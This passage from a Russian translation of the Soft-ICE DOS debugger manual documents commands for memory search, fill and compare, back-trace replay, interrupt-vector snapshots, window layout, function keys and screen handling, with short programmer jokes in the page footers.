Команда I3HERE позволяет вам указать, что любое прерывание 3 вызовет окно Soft-ICE. Эта возможность полезна для остановки вашей программы в определенных местах.
Чтобы использовать эту возможность, поместите INT 3 в ваш код в месте, где вы хотите остановиться. Когда произойдет INT 3, оно вызовет окно Soft-ICE. В этой точке, вы можете использовать команду R IP, чтобы изменить ваш указатель команд на команду, следующую после INT 3, затем вы можете продолжить отладку.
Если параметры не указаны, отображается текущее состояние I3HERE.
Значение по умолчанию - режим I3HERE OFF.
Пример:
I3HERE ON |
Эта команда включает режим I3HERE. Любой INT 3, сгенерированный после этого, вызовет окно Soft-ICE.
5.5 Сервисные Команды
Команды:
A -- Транслировать код S -- Поиск данных F -- Заполнить память данными M -- Переместить данные C -- Сравнить два блока данных.
A
A -- Транслировать код.
Синтаксис:
A [Адрес] |
Комментарии:
Транслятор Soft-ICE позволяет вам транслировать команды непосредственно в памяти. Транслятор поддерживает базисную систему команд 8086 с расширениями для реального режима 80186 и 80286. Инструкции математического сопроцессора и специфические для 80386 команды, регистры и режимы адресации НЕ могут быть оттранслированы.
Команда A вызывает интерактивный транслятор Soft-ICE. В начале каждой транслируемой строки отображается ее адрес. После того как команда ассемблера набрана и нажат ВВОД, команды транслируются в память по указанному адресу. Команды должны вводиться в стандартном формате Intel. Для выхода из режима транслятора нажмите ВВОД в пустой строке.
Если адресный интервал, в который вы транслируете команды, видим в окне кода, команды будут изменятся интерактивно, по мере трансляции.
Транслятор Soft-IСЕ'а поддерживает стандартную мнемонику семейства 8086, однако имеются некоторые специальные добавления:
Мнемокод DB используется для указания байтов данных непосредственно в памяти. Команда DB сопровождается списком байтов и/или строк в кавычках разделенных пробелами или запятыми. Мнемокод RETF описывает дальний возврат. WORD PTR и BYTE PTR используется для указания размера данных, если не присутствует аргумент-регистр, например: MOV BYTE PTR ES:[ 1234],1. Используйте, FAR и NEAR для явной трансляции дальних и ближних переходов и обращений. Если FAR или NEAR не указаны, то все переходы и обращения - ближние. Операнды, описывающие ячейки памяти, должны помещаться в квадратные скобки, например: MOV AX,[1234].Пример:
A CS:1234 |
Эта команда выводит приглашение для ввода команд ассемблера, затем транслирует их, начиная со смещения 1234H в текущий сегмент кода. Нажмите ВВОД в приглашении с адресом после ввода последней команды.
S
S -- Поиск данных.
Синтаксис:
S адрес L длина список-данных |
Список-данных -- список байтов или строк в кавычках, разделенных запятыми или пробелами. Строка в кавычках может начинаться с одинарной или двойной кавычки. длина -- длина в байтах.
Комментарии:
Команда S ищет в памяти последовательности байтов или символов, совпадающих со списком данных. Поиск начинается с указанного адреса и до смещения, равного указанной длине. Адреса каждого найденного в диапазоне совпадения выводятся на экран.
Пример:
S DS:SI+10 L CX 'Привет',12,34 |
Эта команда ищет строку 'Привет' сопровождаемую байтами 12H и 34H, начиная со смещения SI+10 в текущем сегменте данных и заканчивая адресом через CX байт от начала.
F
F -- Заполнить память данными.
Синтаксис:
F адрес L длина список-данных |
Список-данных -- список байтов или строк в кавычках, разделенных запятыми или пробелами. Строка в кавычках может начинаться с одинарной или двойной кавычки. длина -- длина в байтах.
Комментарии:
Команда F заполняет память последовательностью байтов или символов, определенных в списке-данных. Память заполняется, начиная с указанного адреса и до смещения, равного указанной длине, повторяя список-данных в случае необходимости.
Пример:
F 8000:0 L 100 'Тест' |
Эта команда заполняет память, начиная с 8000:0 на длину 100H байтов строкой 'Тест'. Строка 'Тест' повторяется, пока не достигнуто необходимое смещение.
М
M -- Переместить данные.
Синтаксис:
М адрес-начала L длина конечный-адрес |
Длина -- длина в байтах.
Комментарии:
Команда M перемещает указанное число байтов из адреса-начала в памяти в конечный-адрес в памяти.
Пример:
М 1000:0 L 200 2000:0 |
Эта команда перемещает 200H байтов из ячейки памяти 1000:0 в ячейку памяти 2000:0.
C
C -- Сравнить два блока данных.
Синтаксис:
C адрес1 L длина адрес2 |
Длина -- длина в байтах.
Комментарии:
Команда C сравнивает блок памяти, определенный адресом1 и длиной с блоком памяти определенным адресом2 и длиной. Когда байт из первого блока данных не соответствует байту из второго блока данных, оба байта выводятся на экран вместе с их адресами.
Пример:
C 5000:100 L 10 6000:100 |
Эта команда сравнивает 10H байтов, начинающихся с ячейки памяти 5000:100 с 10H байтами, начинающимися с ячейки памяти 6000:100.
5.6 Специализированные Отладочные Команды
Команды:
SHOW -- Выводит команды из буфера истории исполнения TRACE -- Включает режим эмуляции пошагового исполнения XT -- Одиночный шаг в режиме эмуляции трассировки XP -- Программный шаг в режиме эмуляции трассировки XG -- Переход по адресу в режиме эмуляции трассировки XRSET -- Сброс буфера истории обратной трассировки VECS -- Сохранение/восстановление/сравнение векторов прерываний SNAP -- Запоминает содержимое блока памяти (snap shot) EMMMAP -- Отображают карту распределения EMM.
SHOW
SHOW -- Выводит команды из буфера истории исполнения.
Синтаксис:
SHOW [B | начало] |
B -- Указывает команде SHOW начать вывод с самой старой команды в буфере обратной трассировки. начало -- Смещение (в инструкциях) от конца буфера (последней зафиксированной команды) с которого надо начать вывод.
Комментарии:
Команда SHOW отображает команды из буфера истории обратной трассировки. Если для команд доступен исходный текст, то дисплей находится в смешанном режиме, в противном случае отображается только код.
SHOW позволяет просматривать буфер обратной трассировки при помощи клавиш вверх, вниз, PageUp и PaqeDn. Для выхода из SHOW нужно нажать клавишу Esc.
Адресу каждой команды предшествует номер входа в буфер. Этот номер показывает, как глубоко в буфере находится команда. Чем больше номер, тем глубже вы в буфере.
Обратите внимание:
До вызова команды SHOW, команды должны регистрироваться при помощи диапазона обратной трассировки. См. главу 9 для подробной информации о диапазонах.
Подсказки:
Часто полезно иметь видимое окно кода с фактическим кодом области, отображаемой из буфера обратной трассировки. При сравнении фактического исполнения команд с кодом, отображаемыми переходами и обращениями обычно возникает меньше путаницы.
Использование SHOW вместе с командой TRACE позволит вам рассматривать команды в буфере обратной трассировки с двух различных точек зрения.
Пример:
SHOW 40 |
Этот пример выведет на экран команды из буфера обратной трассировки, начиная с 40-ой инструкции от конца буфера.
TRACE
TRACE -- Включает режим эмуляции пошагового исполнения.
Руководство по Soft-ICE (DOS) - 13.
| - А вы купили бы презерватив с эмблемой MicroSoft? - Я - нет. - Почему? - Да сами задумайтесь - мало того, что MICRO да к тому же еще и SOFT! |
Синтаксис:
TRACE [начало] | [OFF] |
Начало -- Смещение (в инструкциях) от конца буфера (последней зафиксированной команды) с которого надо начать эмуляцию. OFF -- Выход из режима эмуляции трассировки.
Комментарии:
Команда TRACE позволяет вам повторно "проигрывать" команды из буфера истории обратной трассировки команд, так же как они выполнялись в первый раз. Для использования режима эмуляции трассировки вам необходимо иметь видимое окно кода. После входа в режим эмуляции трассировки используйте команды XT, XP и XG для трассировки команд из буфера.
Для выхода из режима эмуляции трассировки введите TRACE OFF.
TRACE без параметров сообщает включен режим эмуляции трассировки или нет.
Обратите внимание:
До вызова команды TRACE, команды должны регистрироваться при помощи диапазона обратной трассировки. См. главу 9 для подробной информации о диапазонах.
Подсказки:
Режим эмуляции трассировки наиболее полезен, когда видимо окно кода. Часто полезно использовать TRACE вместе с командой SHOW. Это позволяет просматривать инструкции в буфере истории обратной трассировки одновременно в двух различных формах.
Пример:
TRACE 40 |
Этот пример производит эмуляцию трассировки, начиная с 40-ой инструкции от последней зарегистрированной команды. Режим эмуляции трассировки будет активен, пока не будет введено TRACE OFF.
XT
XT -- Одиночный шаг в режиме эмуляции трассировки.
Синтаксис:
XT [R] |
R -- Одиночный шаг в обратном направлении.
Комментарии:
Команда XT пошагово проходит буфер истории обратной трассировки инструкций. Эта команда действует подобно команде T для нормальной отладки. Заметьте что в режиме эмуляции трассировки регистры не изменяются, за исключением CS и IP.
Команда XT позволяет вам повторно выполнять команды из буфера истории обратной трассировки.
Обратите внимание:
Для использования XT вы должны быть в режиме эмуляции трассировки. См. главу 9 и команду TRACE из этого раздела для подробной информации о диапазонах обратной трассировки.
Подсказка:
Если вы используете XT часто, то подобно любой другой команде Soft-ICE она может быть привязана к функциональной клавише.
Пример:
XT |
Эта команда проходит одну команду в режиме эмуляции трассировки.
XP
XP -- Программный шаг в режиме эмуляции трассировки.
Синтаксис:
XP |
Комментарии:
Команда XP производит логический программный шаг в буфере истории обратной трассировки инструкций. Эта команда действует подобно команде P для обычной отладки. Заметьте, что в режиме эмуляции трассировки регистры не изменяются, за исключением CS и IP.
Команда XP позволяет вам повторно выполнять команды из буфера истории обратной трассировки.
Обратите внимание:
Для использования XP вы должны быть в режиме эмуляции трассировки. См. главу 9 и команду TRACE из этого раздела для подробной информации о диапазонах обратной трассировки.
Подсказка:
Если вы используете XP часто, то подобно любой другой команде Soft-ICE она может быть привязана к функциональной клавише.
Пример:
XP |
Эта команда выполняет один программный шаг в режиме эмуляции трассировки.
XG
XG -- Переход по адресу в режиме эмуляции трассировки.
Синтаксис:
X [R] адрес |
R -- Поиск адреса в обратном направлении. адрес -- Адрес, по которому надо перейти в буфере истории обратной трассировки.
Комментарии:
Команда XG перемещает указатель команд на следующее упоминание указанного адреса в буфере истории обратной трассировки. Если перед адресом указан R, то указатель команды перемещается на предыдущее упоминание указанного адреса в буфере обратной трассировки.
Адрес должен указывать на первый байт опкода команды.
XG аналогична команде G при нормальной отладке.
Обратите внимание:
Для использования XG вы должны быть в режиме эмуляции трассировки. См. главу 9 и команду TRACE из этого раздела для подробной информации о диапазонах обратной трассировки.
Пример:
XG 273:1030 |
Эта команда перемещает указатель команд на следующее упоминание команды по адресу 273:1030.
XRSET
XRSET -- Сброс буфера истории обратной трассировки.
Синтаксис:
XRSET |
Комментарии:
Команда XRSET сбрасывает буфер истории обратной трассировки. Эта команда должна выполняться перед установкой диапазона обратной трассировки, если в буфере обратной трассировки имеется нежелательная информация о командах.
Пример:
XRSET |
Эта команда сбрасывает буфер обратной трассировки.
VECS
VECS -- Сохранение/восстановление/сравнение векторов прерываний.
Синтаксис:
VECS [C|S|R] |
C -- Сравнить текущую таблицу с сохраненной таблицей S -- Сохранить текущую таблицу прерываний в буфере R -- Восстановить таблицу прерываний из буфера.
Комментарии:
Команда VECS позволяет вам сохранять и восстанавливать таблицу прерываний из внутреннего буфера Soft-ICE. Также фактическая таблица может сравниваться с сохраненной таблица с отображением различий.
Когда используется опция C, для сравнения текущей таблицы векторов прерываний с сохраненной копией, вывод производится в следующем формате:
Адрес старый-вектор новый-вектор.
Отображаются все измененные векторы.
Таблица векторов прерываний первоначально сохраняется, при загрузке Soft-ICE. Это Она также автоматически сохраняется при загрузке программы LDR'ом. Хранится только одна копия таблицы векторов прерываний, т.о. при каждом выполнении VECS S, предыдущая копия таблицы прерываний перезаписывается.
Если параметры не указаны, на экран выводится вся таблица векторов прерываний.
Пример:
VECS C |
Эта команда сравнивает фактическую таблицу векторов прерываний с предварительно сохраненной во внутреннем буфере векторов Soft-ICE.
SNAP
SNAP -- Запоминает содержимое блока памяти (snap shot).
Синтаксис:
SNAP [C|S|R] адрес1 адрес2 |
C -- Сравнить буфер с адресным интервалом S -- Сохранить адресный интервал в буфере R -- Восстановить адресный интервал из буфера.
Комментарии:
Команда SNAP запоминает содержимое блока памяти для последующего сравнения. Опция S копирует блок памяти в буфер в дополнительной памяти (XMS). Опция C отображает различия между буфером в дополнительной памяти и фактической памятью, определенной адресным интервалом. Опция R копирует буфер в дополнительной памяти в адресный интервал в стандартной памяти.
Когда используется опция C, для сравнения буфера с адресным интервалом, вывод производится в следующем формате:
Адрес старые-данные новые-данные.
Отображаются все измененные байты.
Обычно для опций C и R адрес необязателен. Если адрес не указан, используется адрес, который был указан в последний раз при использовании команды SNAP.
Примечания:
Для использования команды SNAP вы должны указать переключатель /TRA XXXX в строке S-ICE.EXE в CONFIG.SYS.
Команда SNAP сохраняет данные в буфере истории обратной трассировки. Если вы используете обратную трассировку, у вас будет конфликт со SNAP. В силу своей специфики, SNAP перезапишет информацию обратной трассировки, если вы выполните SNAP S, когда история команд находится в буфере обратной трассировки. Наоборот, если вы сохранили область при помощи SNAP, активация диапазона обратной трассировки перезапишет буфер SNAP.
Пример:
SNAP S 2000:0 4000:0 |
Эта команда сохраняет блок данных с 2000:0 по 4000:0 в буфере обратной трассировки Soft-ICE.
EMMMAP
EMMMAP -- Отображают карту распределения EMM.
Синтаксис:
Руководство по Soft-ICE (DOS) - 14.
| Хоронили Кваку, Порвали три рокет лаунчера. |
EMMMAP |
Комментарии:
Команда EMMMAP отображает все физические страницы, которые доступны для EMM памяти и страницы, которые в настоящее время отображены.
Обратите внимание:
Для использования этой функции должна быть активирована возможность Soft-ICE EMM. См. главу 8 для подробной информации о предоставлении возможности EMM.
Пример:
EMMMAP |
Этот пример отображает текущее распределение EMM и следующей форме.
Физ. страница | Сег. адрес | Дескриптор/Страница(логическая) 00 ¦ D000 ¦ FFFF 01 ¦ D400 ¦ 0001/0000 02 ¦ D800 ¦ 0001/0001 03 ¦ DC00 ¦ 0001/0002.
В этом примере, физическая страница 0 размещена в D000 и не отображается. Физическая страница 1 размещена в D400 и имеет дескриптор 1, в нее отображается страница 0. Физическая страница 2 размещена в D800 и имеет дескриптор 1, в нее отображается страница I. Физическая страница 3 размещена в DC00 и имеет дескриптор 1, в нее отображается страница 2.
5.7 Команды Работы с окнами
Команды:
WR -- Переключает окно регистров WC -- Переключает/устанавливает размер окна кода WD -- Переключает/устанавливает размер окна данных EC -- Войти/выйти из окна кода . -- Найти местоположение текущей команды.
Soft-ICE может выводить окна трех типов: регистров, данных и кода. Любое из этих окон может быть активизировано или деактивировано в любое время. Окна данных и кода могут иметь переменный размер; окно регистров фиксировано в размере. Окна всегда остаются в фиксированном порядке. Начиная с верхней части экрана порядок следующий : окно регистров, окно данных, затем окно кода.
WR
WR -- Переключает окно регистров.
Синтаксис:
WR |
Комментарии:
Команда визуализирует окно регистров, если оно в текущий момент невидимо. Если окно регистров в текущий момент видимо, WR удаляет окно регистров.
Окно регистров отображает набор регистров 8086 и флаги процессора.
Функция, заданная по умолчанию: F2.
WC
WC -- Переключает/устанавливает размер окна кода.
Синтаксис:
WC [размер-окна] |
Размер-окна -- десятичное число между единицей и 21.
Комментарии:
Если размер-окна не указан, эта команда переключает окно кода. Если оно не было видимо, оно станет видимым, и если оно было видимо, оно будет удалено.
Если указан размер-окна, окно кода будет изменено или, если оно не было видимо, оно станет видимым с определенным размером.
Обратите внимание:
Если вы хотите переместить курсор в окно кода, используйте команду EC. См. описание команды EC для более подробной информации.
Пример:
WC 12 |
Если окно кода не присутствует, то создается окно кода высотой 12 строк. Если окно кода в текущий момент - на экране, его высота изменяется на 12 строк.
WD
WD -- Переключает/устанавливает размер окна данных.
Синтаксис:
WD [размер-окна] |
Размер-окна -- десятичное число между единицей и 21.
Комментарии:
Если размер-окна не указан, эта команда переключает окно данных. Если оно не было видимо, оно станет видимым и если оно было видимо, оно будет удалено.
Если указан размер-окна, окно кода будет изменено или, если оно не было видимо, оно станет видимым с определенным размером.
Пример:
WD 1 |
Если окно данных не присутствует, то создается окно данных высотой в одну строку. Если окно данных в текущий момент - на экране, его высота изменяется на одну строку.
EC
EC -- Войти/выйти из окна кода.
Синтаксис:
EC |
Комментарии:
Команда EC переключает расположение курсора между окном кода и окном команд. Если курсор был в окне команд, он перемещается в окно кода и если курсор был в окне кода, он перемещается в окно команд.
Когда курсор находится в окне кода, становятся доступными несколько опций, которые намного упрощают отладку. Опции:
* Точки останова типа point-and-shoot Точки останова типа point-and-shoot устанавливаются командой BP. Если в команде BPX параметры не указаны, в ячейку памяти, на которую указывает курсор в окне кода, будет установлена точка останова на выполнение. Курсор должен быть в строке, которая содержит код (переключите окно кода в смешанный режим, если вы не уверены). Заданная по умолчанию функциональная клавиша для BPX - F9.
* Исполнение до строки курсора Вы можете устанавливать временную точку останова в месте положения курсора выполнять команду HERE. Курсор должен находиться в строке, которая содержит код (переключите окно кода в смешанный режим, если вы не уверены). Заданная по умолчанию функциональная клавиша для HERE - F7.
* Прокрутка окна кода Окно кода может быть пролистано только когда курсор находится в окне кода. Клавиши прокрутки (стрелка "ВВЕРХ", стрелка "ВНИЗ", PageUp и PageDown) переопределяются, когда курсор - в окне кода. Когда курсор находится в окне кода, клавиши прокрутки делают следующее:
ВВЕРХ -- Прокрутка окна кода вверх на одну строку ВНИЗ -- Прокрутка окна кода вниз на одну строку PageUp -- Прокрутка окна кода на один экран PageDn -- Прокрутка окна кода один экран.
Обратите внимание:
Для того чтобы команда EC работала, Окно кода должно быть видимо. Заданная по умолчанию функциональная клавиша: F6.
.
. -- Найти местоположение текущей команды.
Синтаксис:
. |
Комментарии:
Когда окно кода видимо, команда . делает видимой текущую строку исходного текста или текущую команду.
5.8 Команды Настройки Отладчика
Команды:
PAUSE -- Пауза после каждого экрана ALTKEY -- Устанавливает альтернативную комбинацию клавиш для вызова Soft-ICE FKEY -- Отображает и редактирует назначение функциональных клавиш BASE -- Устанавливает/отображает текущее основание системы счисления CTRL-P -- Выводит сеанс на принтер Print-Screen -- Печать содержимого экрана PRN -- Устанавливает порт для вывода на принтер.
PAUSE
PAUSE -- Пауза после каждого экрана.
Синтаксис:
PAUSE [ON | OFF] |
Комментарии:
PAUSE управляет паузами экрана в конце каждой страницы. Если PAUSE включен, вы должны нажать любую клавишу прежде, чем информация в окне будет прокручена. Подсказка отображается в строке состояния в нижней части окна.
Если параметры не указаны, отображается текущее состояние PAUSE.
Значение по умолчанию - PAUSE ON.
Пример:
PAUSE ON |
Эта команда указывает, что последующие команды, отображающие информацию в окне, будут ожидать, пока вы не нажмете клавишу, до прокрутки в окне новой информации.
ALTKEY
ALTKEY -- Устанавливает альтернативную комбинацию клавиш для вызова Soft-ICE.
Синтаксис:
ALTKEY [АLТсимвол] | [СТRLсимвол] | [SYSREQ] |
Символ -- любой символ (A - Z).
Комментарии:
Команда ALTKEY позволяет изменять комбинацию клавиш для вызова Soft-ICE. Комбинация клавиш изменяется на CTRL + символ, ALT + символ или клавишу SysRq.
Иногда вы можете использовать программу, которая конфликтует с комбинацией клавиш CTRL D, вызывающей окно Soft-ICE. Один из способов обойти эту возможную проблему - использование команды ALTKEY для изменения комбинации клавиш. Другой способ - добавить клавишу SHIFT к текущей комбинации. Soft-ICE не отвечает на эту комбинацию клавиш и позволяет ей вызвать вашу программу. Например, если резидентная программа, которую вы используете, вызывается комбинацией клавиш CTRL D, попробуйте использовать комбинацию CTRL SHIFT D для вызова вашей резидентной программы. На некоторых клавиатурах, для генерации системного запроса вы должны одновременно нажать клавиши ALT и prtsc. Надо действовать с осторожностью, чтобы случайно не был распечатан экран.
Если параметры не указаны, отображается текущее состояние комбинации клавиш.
Заданная по умолчанию комбинация клавиш - CTRL D.
Пример:
ALTKEY ALT Z |
Эта команда указывает, что комбинация клавиш ALT Z будет теперь использоваться для вызова окна Soft-ICE.
FKEY
FKEY -- Отображает и редактирует назначение функциональных клавиш.
Синтаксис:
FKEY [название-функциональной-клавиши строка] |
Название-функциональной-клавиши -- F1, F2 ... F12.
Руководство по Soft-ICE (DOS) - 15.
| 286-й, зараженный вирусом, спрашивает программиста-философа: - Программист, я буду жить? - А смысл? |
Строка -- Строка состоит из любых допустимых для Soft-ICE команд и специальных символов ^ (каретка) и ; (точка с запятой). Знак ^, помещается в строку, чтобы сделать команду невидимой. Знак ; помещается в строку, чтобы обозначить возврат каретки.
Комментарии:
Команда FKEY используется в командной строке для назначения функциональной клавише строки команд. Функциональной клавише может быть назначена любая строка команд, которая может быть напечатана в Soft-ICE.
Если параметры не указаны, отображаются текущие назначения функциональных клавиш.
Для отмены назначения определенной функциональной клавиши, используйте команду FKEY с параметрами: название-функциональной-клавиши с пустой строкой.
Функциональные клавиши могут также быть объявлены заранее в файле определений S-ICE.DAT. Для подробной информации об объявления функциональных клавиш в файле определений, обратитесь к разделу 6.4.
Использование символов возврата каретки в строке назначения функциональной клавиши позволяет назначить функциональной клавише ряд команд. Возврат каретки обозначается символом ; (точка с запятой).
Если Вы помещаете знак ^ (shift 6) перед определением функциональной клавиши, последующая команда будет невидима. Команда будет функционировать как обычно, но вся информация, отображаемая в окне команд (включая сообщения об ошибках) будет подавляться. Невидимый режим полезен, когда команда изменяет информацию в окне (кода, регистров или данных) но вы не хотите помех в окне команд.
Когда функциональная клавиша сделана невидимой при помощи знака ^, она может использоваться во время ввода других команд без воздействия на их выполнение. Например, если вы используете заданное по умолчанию назначение для F2, вы можете переключать окно регистров клавишей F2, даже если вы частично ввели вашу следующую команду.
Обратите внимание:
У Soft-ICE теперь есть файл определений - S-ICE.DAT. Вы можете поместить назначения функциональных клавиш в этот файл и функциональные клавиши будут автоматически назначены, при загрузке Soft-ICE. Вот синтаксис для назначения функциональных клавиш в файле конфигурации:
Название-функциональной-клавиши = "строка".
При назначении функциональной клавише строки команд в S-ICE.DAT, строка должна быть заключена в двойные кавычки.
Примеры командной строки:
FKEY F2 ^WR; |
Этот пример назначит команду переключения окна регистров клавише F2. Знак ^ делает функцию невидимой и знак ; завершает функцию возвратом каретки. Клавиша F2 активизирует или деактивирует окно регистров и даже может быть вызвана при вводе другой команды.
FKEY F1 "G CS:120; R; G CS:" |
Этот пример показывает, что одной функциональной клавише может быть назначено несколько команд и что могут быть назначены частичные команды для их завершения пользователем. После того, как эта команда введена, нажатие клавиши F1 вызовет выполнение программы до достижения ячейки CS:120, вывод на экран регистров, затем начало выполнения команды G для ее завершения пользователем.
FKEY F1 WD 3;D DS:100; |
Этот пример назначит ряд команд клавише F1. Функция видима и заканчивается возвратом каретки. Клавиша F1 изменит высоту окна данных на три строки и установит начало дампа в DS:100. Пример S-ICE.DAT:
F1 = "WR;WD 2;WC 10;" |
Если эта строка помещена в S-ICE.DAT, при загрузке Soft-ICE эта будет строка назначена клавише F1. Нажатие F1 при работе в Soft-ICE переключит окно регистров, создаст окно данных высотой 2 строки и окно кода высотой 10. Для подробной информации относительно назначения определений функциональным клавишам в S-ICE.DAT, обратитесь к главе 6.
BASE
BASE -- Устанавливает/отображает текущее основание системы счисления.
Синтаксис:
BASE [10 | 16] |
Комментарии:
Команда BASE устанавливает основание системы счисления в 10 или 16. Основание 10 ограничено в использовании в узком окне из-за ограничений ширины окна. Также ограничивается количество информации, отображаемой в некоторых командах в режиме полной ширины экрана.
Когда текущее основание системы счисления - 10, все числа и адреса, вводимые и отображаемые Soft-ICE десятичными. Когда основание системы - 16, все числа и адреса, вводимых в Soft-ICE являются шестнадцатеричными, за исключением: * Номеров строк исходного текста * Координаты экрана и размеры в команде WIN.
Эти исключения всегда вводятся и отображаются как десятичные числа.
Заданное по умолчанию основание системы счисления - 16.
Пример:
BASE 16 |
Этот пример устанавливает текущее основание системы счисления в 16.
CTRL-P
CTRL-P --- Выводит сеанс на принтер.
Синтаксис:
CTRL-P |
Комментарии:
Когда нажаты клавиши CTRL и P, вся последующая информация, отображаемая в окне команд, также посылается на принтер. Для отмены вывода сеанса на принтер, повторно нажмите клавиши CTRL и P.
Когда вы посылаете много информации на принтер, используя CTRL-P, вы может пожелать отменить команду PAUSE и позволить информации пролистываться в окне без нажатия клавиши.
Print-Screen
Print-Screen - Печать содержимого экрана.
Синтаксис:
Print-Screen |
Комментарии:
Нажатие клавиши print-screen производит дамп экрана на принтер. Вся информация с экрана посылается на принтер.
Если вы хотите распечатать карту памяти или информацию помощи, обычно намного быстрее использовать CTRL-P, чем Print-Screen. Это потому что Print-Screen печатает все символы на экране, включая рамки.
PRN
PRN --- Устанавливает порт для вывода на принтер.
Синтаксис:
PRN [LPTx | COMx] |
X -- десятичное число между 1 и 4.
Комментарии:
Команда PRN позволяет вам переслать вывод от команд CTRL-P и Print-Screen в другой порт принтера.
Если параметры не указаны, PRN отображает текущий порт, назначенный для принтера.
Пример:
PRN COM 1 |
Эта команда вызывает перевод вывода от команд CTRL-P и Print-Screen в порт COM 1.
5.9 Команды Управления Экраном
Команды:
FLASH -- Восстанавливает экран при выполнении команд P и T FLICK -- Снижение нежелательного мерцания экрана ("снега") WATCHV -- Включает отслеживание видеорежимов RS -- Восстанавливает экран программы CLS -- Очищает окно ALTSCR -- Изменяет экран на альтернативный WIN -- Изменяет размер окна Soft-ICE.
FLASH
FLASH -- Восстанавливает экран при выполнении команд P и T.
Синтаксис:
FLASH [ON | OFF] |
Комментарии:
Команда FLASH позволяет вам указывать, будет ли экран восстанавливаться в течение любых команд трассировки или программных шагов. Если вы укажете, что экран должен восстанавливаться, он восстанавливается за краткий период времени пока выполняется команда P или T. Эта возможность необходима для отладки участков кода, осуществляющих доступ к видеопамяти.
Если команда P выполняется для обращения или прерывания, экран всегда будет восстанавливаться, потому что вызываемая подпрограмма может записывать на экран.
Если параметры не указаны, отображается текущее состояние FLASH.
Значение по умолчанию - FLASH OFF.
Пример:
FLASH ON |
Эта команда включает режим FLASH. Экран будет восстанавливаться в течение любых последующих команд P или T.
FLICK
FLICK -- Снижение нежелательного мерцания экрана ("снега").
Синтаксис:
FLICK [ON | OFF] |
Комментарии:
Некоторые типы видеоплат требуют ожидания горизонтального или вертикального обратного хода перед выводом символов. Если запись в видеопамять сделана произвольно, при отображении символов появится мерцание. Если при использовании окна Soft-ICE на вашем экране происходит мерцание, вы должны включить FLICK.
На некоторых платах EGA при выходе из Soft-ICE цвета будут восстановлены некорректно. Это - проблема виртуализации видео EGA. Порт 3DA является видеопортом для двух целей. Первая - опрос старыми программами CGA 3DA для hsync и vsync. Это позволяет им избежать "снега" при выводе на некоторых старых платах с контроллером CGA. Вторая - сброс регистра-защелки палитры на платах EGA. В Soft-ICE есть алгоритм, позволяющий избежать необходимости постоянно опрашивать этот порт, которая замедлила бы старые программы, которые предназначены для CGA. Однако возможно случайное возникновение обстоятельств, когда этот алгоритм не сработает. Если вы используете Soft- ICE на экране EGA и вы заметили, что цвета восстанавливаются некорректно, включите FLICK и Soft-ICE будет опрашивать порт 3DA, разрешая проблему.
Когда включен режим FLICK, обновление экрана будет замедлено.
Если параметр не указаны, отображается текущее состояние FLICK.
Значение по умолчанию - FLICK OFF.
Пример:
FLICK ON |
Эта команда включает режим FLICK. Это заставляет Soft-ICE ожидать горизонтального или вертикального обратного хода перед выводом символов.
WATCHV
Руководство по Soft-ICE (DOS) - 16.
| Подходит сынок к папе и спрашивает: - Папа что значит HDD Format complite? - Это значит, что ты сейчас умрешь!!! |
WATCHV -- Включает отслеживание видеорежимов.
Синтаксис:
WATCHV [ON | OFF] |
Комментарии:
Команда WATCHV позволяет вам указать, как Soft-ICE должен отслеживать видеопорты. Обычно, Soft-ICE отслеживает видео порты только после выполнения команды INT 10, которая переключает адаптер в графический видеорежим. Некоторые программы не используют INT 10 для переключения режимов. В этих случаях, если WATCHV выключен, у Soft-ICE могут быть проблемы с корректным сохранением и восстановлением экрана. Включение WATCHV заставит Soft-ICE постоянно отслеживать видео порты.
Включите WATCHV, если вы заметите, что Soft-ICE некорректно обрабатывает ваш экран, или если некорректно восстанавливается курсор. Активизация WATCHV может воздействовать на эффективность в некоторых видеорежимах.
Если параметры не указаны, отображается текущее состояние WATCHV.
Значение по умолчанию - WATCHV OFF.
Пример:
WATCHV ON |
Эта команда включает режим WATCHV. Это заставит Soft-ICE отслеживать дополнительные видео порты в целях виртуализации.
RS
RS -- Восстанавливает экран программы.
Синтаксис:
RS |
Комментарии: Команда RS позволяет вам временно восстанавливать экран программы. Окно Soft-ICE исчезает, пока не будет нажата любая клавиша.
Эта возможность полезна при отладке графических программ, часто модифицирующих экран. При вызове Soft-ICE, он возвращается в текстовый режим. Использование команды RS временно восстанавливает графический экран.
Пример:
RS |
CLS
CLS -- Очищает окно.
Синтаксис:
CLS |
Комментарии:
Команда CLS очищает окно Soft-ICE и перемещает подсказку и курсор в левый верхний угол окна.
Пример:
CLS |
ALTSCR
ALTSCR -- Изменяет экран на альтернативный.
Синтаксис:
ALTSCR [ON | OFF] |
Комментарии:
Команда ALTSCR позволяет вам переназначить вывод Soft-ICE из вашего экрана, заданного по умолчанию, на альтернативный экран. Эта возможность полезна, например, когда вы хотите отлаживать графическую программу, без необходимости переключения между окном Soft-ICE и графическим экраном.
ALTSCR требует от системы двух подсоединенных мониторов. Альтернативный монитор должен быть в текстовом режиме, который является заданным по умолчанию для мониторов.
Значение по умолчанию - ALTSCR OFF.
Пример:
ALTSCR ON |
Эта команда переназначает экранный вывод на альтернативный монитор.
WIN
WIN -- Изменяет размер окна Soft-ICE.
Синтаксис:
WIN [N | W] [строка-начала длина [столбец-начала]] |
N -- Когда задан N, окно будет установлено в узкий режим: 46 символов. W -- Когда задан W, окно будет установлено в полноэкранный режим. строка-начала -- Число от 0 до 17 указывающий строку где начинается отображение окна. длина -- Число от 8 до 25 указывающее, желаемую высоту окна в строках. столбец-начала -- Позиция столбца левой стороны узкого окна. Строка-начала и столбец-начала определяют левый верхний угол узкого окна. Столбец-начала игнорируется, если применяется к широкому окну (во весь экран).
Комментарии:
Команда WIN позволяет вам изменять ширину и высоту окна Soft-ICE на экране.
Если параметры не указаны, эта команда переключает окно между широким и узким режимом вывода на экран.
Если в команде WIN указан только параметр N или W, размер окна будет изменен на запрошенную ширину при текущей высоте. Если число строк плюс начальный номер строки больше чем 25, окно растягивается до нижней части экрана.
Значение по умолчанию - узкий режим WIN.
Примеры:
WIN N 4 9 30 |
Эта команда заставляет окно выводиться со строки 4 и столбца 30 и быть 9 строк высоты и 46 символов ширины.
WIN
Эта команда переключает ширину окна из текущего состояния (широкое или узкое) в противоположное состояние.
WIN W 10 8 |
Эта команда заставляет окно начинаться в строке 10, быть 8 строк высоты и иметь ширину экрана.
5.10 Команды Работы с Символами и Строками Исходного Текста
Команды:
SYM -- Вывести/установить символ SYMLOC -- Переместить базу символа SRC -- Переключает между исходным текстом, смешанным режимом и кодом FILE -- Изменить/вывести текущий исходный текст SS -- Найти строку в текущем файле с исходным текстом.
SYM
SYM -- Вывести/установить символ.
Синтаксис:
